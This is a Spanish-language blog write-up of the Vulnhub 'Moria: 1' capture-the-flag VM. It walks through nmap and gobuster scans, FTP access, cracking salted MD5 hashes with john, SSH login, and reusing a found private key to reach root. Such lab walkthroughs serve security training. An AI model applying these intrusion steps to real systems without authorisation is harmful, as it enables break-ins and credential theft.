sábado, 13 de agosto de 2022

CTF Moria: 1 VM


 Esta máquina para los fanaticos de Tolkien es temática basada en LOR, asi que a disfrutarla, comenzando con el escaneo de puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN moria1 192.168.2.23                                                                                      
Starting Nmap
Nmap scan report for 192.168.2.23
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 47b5ede3f9ad9688c0f283237fa3d34f (RSA)
|   256 85cda2d8bb85f60f4eae8caa7352ec63 (ECDSA)
|_  256 b1777e08b3a084f8f45df98ed585b934 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Gates of Moria
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

 

En el escaneo se descubrió tres servicios corriendo por el puerto 21,22 y 80. Ahora visitando el navegador se encontró lo siguiente.

 

Después se escaneó los directores y se encontró lo siguiente.
$ gobuster dir -u http://192.168.2.23/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.23/w                    (Status: 301) [Size: 230] [--> http://192.168.2.23/w/]


Al visitar esa ruta se encontró este directorio y siguiéndole lleva a esto.

 

Además de ese mensaje no hay otra pista para continuar, asi que refrescando la página aparece de manera random un mensaje. Asi que con Wireshark, se inicia la captura de paquetes de red.

 

Después de bastantes intentos refrescando la página aparece estos paquetes bastante inusuales, asi que podría ser la siguiente pista, lo único que no era contante era los puertos, y si había un mensaje en él.

 

Ahora se inspecciona el puerto 21, en el mensaje de bienvenida ofrece un nombre de usuario, se comprueba si el mensaje anterior es el servicio FTP.
$ ftp 192.168.2.23
Connected to 192.168.2.23.
220 Welcome Balrog!
Name (192.168.2.23:***): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36104|).
150 Here comes the directory listing.
226 Directory send OK.

 

Al listar las carpetas, tiene ciertos permisos asi que se explora algunos directorios y seguidamente listar el contenido en el servicio remoto.
ftp> cd /
250 Directory successfully changed.
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||25583|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||52471|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.


Entonces en el navegador se puede visualizar lo siguiente en la ruta /QlVraKW4fbIkXau9zkAPNGzvi


Y en el código fuente esta anotación.
<!--
******
******
******
******
******
******
******
******
MD5(MD5(Password).Salt)
-->


Esto da pie para dar formato a los hash que se encontraron de esta forma, para poder crackearlo con john en un formato apropiado.

 

$john --format=dynamic_6 prisioners
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 256/256 AVX2 8x3])
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
-----------         (Balin)     
-----------          (Nain)     
-----------           (Ori)     
-----------          (Oin)     
-----------           (Dain)     
-----------          (Maeglin)     
-----------         (Thrain)     
-----------            (Telchar)     
-----------         (Fundin)  


Lo siguiente es probar estos usuarios el acceso con SSH con su respectiva contraseña. El acceso se obtiene con el usuario Ori.
$ ssh Ori@192.168.2.23
Ori@192.168.2.23's password:
-bash-4.2$ ls
poem.txt

Al ingresar, se encontró por decirlo de alguna manera, la primera.
-bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!

 

También se encontró la carpeta .ssh, en ella un host, se hizo reviso al archivo .pub se identificó un usuario que le podría corresponderle.
-bash-4.2$ cat .ssh/id_rsa.pub
ssh-rsa AA.......AldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison

 

Se inicia sesión ssh, pero antes de eso se cambian los permisos al archivo. Y no funciono, se probaron con varios usuarios hasta llegar a root.
-bash-4.2$ chmod 600 id_rsa
-bash-4.2$ ssh -i id_rsa root@127.0.01
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]# whoami
root

Ahora solo es ir a abrir el archivo flag.txt, se los dejo para que lo puedan abrir y leer otro poema.
[root@Moria ~]# ls
flag.txt


Muchas gracias a @abatchy17 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Moria: 1.1